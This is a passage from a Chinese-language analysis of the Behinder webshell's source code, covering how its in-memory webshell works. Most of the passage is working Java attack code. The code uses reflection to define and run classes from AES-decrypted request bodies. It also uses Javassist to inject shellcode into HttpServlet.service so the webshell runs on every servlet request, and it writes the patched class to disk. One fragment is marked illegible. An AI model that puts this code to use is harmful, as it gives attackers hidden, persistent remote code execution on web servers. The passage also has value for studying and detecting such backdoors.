                byte[] buf = (byte[]) doFinalMethod.invoke(c, new Object[]
{requestBody});

                java.lang.reflect.Method defineMethod =
java.lang.ClassLoader.class.getDeclaredMethod("defineClass", new Class[]
{String.class, java.nio.ByteBuffer.class,
java.security.ProtectionDomain.class});
                defineMethod.setAccessible(true);
                java.lang.reflect.Constructor constructor =
java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[]
{java.lang.ClassLoader.class});
                constructor.setAccessible(true);
                java.lang.ClassLoader cl = (java.lang.ClassLoader)
constructor.newInstance(new Object[]{loader});

```

```

        java.lang.Class c = (java.lang.Class)
defineMethod.invoke((java.lang.Object) cl, new Object[]{null,
java.nio.ByteBuffer.wrap(buf), null});
        c.newInstance().equals(obj);
    } catch (java.lang.Exception e) {
        e.printStackTrace();
    } catch (java.lang.Error error) {
        error.printStackTrace();
    }
    return;
}
}
}

```

- 新建一个 `servlet`，然后 Hook `HttpServlet`

```

public class agentMemshell extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp)
    throws ServletException, IOException {

```

[illegible]

```

        targetClasses.put("javax.servlet.http.HttpServlet",
targetClassJavaxMap);
        targetClasses.put("javax.servlet.http.HttpServlet",
targetClassJavaxMap);
        Class<?> cls = null;
        try {
            ClassPool cPool = ClassPool.getDefault();
            cls = Class.forName("javax.servlet.http.HttpServlet");
            String targetClassName = cls.getName();
            ClassClassPath classPath = new ClassClassPath(cls);
            cPool.insertClassPath(classPath);
            cPool.importPackage("java.lang.reflect.Method");
            cPool.importPackage("javax.crypto.Cipher");
            List paramClsList = new ArrayList();
            Iterator var21 = ((List)
((Map)targetClasses.get(targetClassName)).get("paramList")).iterator();

            String methodName;
            while(var21.hasNext()) {
                methodName = (String)var21.next();
                paramClsList.add(cPool.get(methodName));
            }
            CtClass cClass = cPool.get(targetClassName);
            methodName =
((Map)targetClasses.get(targetClassName)).get("methodName").toString();
            CtMethod cMethod = cClass.getDeclaredMethod(methodName,
(CtClass[])paramClsList.toArray(new CtClass[paramClsList.size()]));
            cMethod.insertBefore(shellCode);
            cClass.detach();
            byte[] data = new byte[0];
            data = cClass.toBytecode();
            byteToFile(data);
        } catch (ClassNotFoundException | NotFoundException |
CannotCompileException e) {
            e.printStackTrace();
        }

    }

    public static void byteToFile(byte[] bytes) throws IOException{ //字节转文件
        if(bytes.length == 0){
            return;
        }
        File file = new File("D:\\Java\\tomcat\\apache-tomcat-8.5.68-
src\\java\\lagou\\edu\\servlet\\httpServlet.class");
        FileOutputStream fileOutputStream = new FileOutputStream(file);
        BufferedOutputStream bufferedOutputStream = new
BufferedOutputStream(fileOutputStream);
        bufferedOutputStream.write(bytes);
        bufferedOutputStream.close();
        fileOutputStream.close();
    }
}

```

- 文件对比

```

751 @Override
752 public void service(ServletRequest req, ServletResponse res)
753     throws ServletException, IOException {
754
755     HttpServletRequest request;
756     HttpServletResponse response;
757
758     try {
759         request = (HttpServletRequest) req;
760         response = (HttpServletResponse) res;
761     } catch (ClassCastException e) {
762         throw new ServletException(lStrings.getString("key: http.non_http"));
763     }
764     service(request, response);
765 }
766
767 public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
768     ServletRequest var3 = (ServletRequest)req;
769     ServletResponse var4 = (ServletResponse)res;
770     HttpSession var5 = var3.getSession();
771     String var6 = "%s";
772     if (var3.getRequestURI().matches(var6)) {
773         HashMap var7 = new HashMap();
774         var7.put("request", var3);
775         var7.put("response", var4);
776         var7.put("session", var5);
777         ClassLoader var8 = this.getClass().getClassLoader();
778         if (var3.getMethod().equals("POST")) {
779             try {
780                 String var9 = "%s";
781                 var5.putValue("u", var9);
782                 ClassLoader var10 = ClassLoader.getSystemClassLoader();
783                 Class var11 = var10.loadClass("javax.crypto.Cipher");
784                 Object var12 = var11.getDeclaredMethod("getInstance", String.class).invoke((Object)var11, "AES");
785                 Object var13 = var10.loadClass("javax.crypto.spec.SecretKeySpec").getDeclaredConstructor(byte[].class, String.class).newInstance(var5.getValue("u").getBytes(), var9);
786                 var12 = var12.getClass().getMethod("init", var13.getClass()).invoke(var12, var13);
787                 Cipher var14 = (Cipher)var12;
788                 byte[] var15 = var3.getInputStream().readAllBytes();
789                 byte[] var16 = var14.doFinal(var15);
790                 var4.getOutputStream().write(var16);
791                 var4.getOutputStream().flush();
792             } catch (Exception e) {
793                 throw new ServletException(e);
794             }
795         }
796     }
797 }

```

HttpServlet 在实现 Servlet 接口时，覆写了 service 方法，该方法体内的代码会自动判断用户的请求方式，如为 GET 请求，则调用 HttpServlet 的 doGet 方法，如为 Post 请求，则调用 doPost 方法。因此，开发人员在编写 Servlet 时，通常只需要覆写 doGet 或 doPost 方法，而不要去覆写 service 方法，此处通过 Hook HttpServlet 修改了代码的执行逻辑，之后每次访问 servlet 都会先触发 webshell。到此内存马的内容基本分析完了，整个冰蝎的源码也有了一个大概的了解。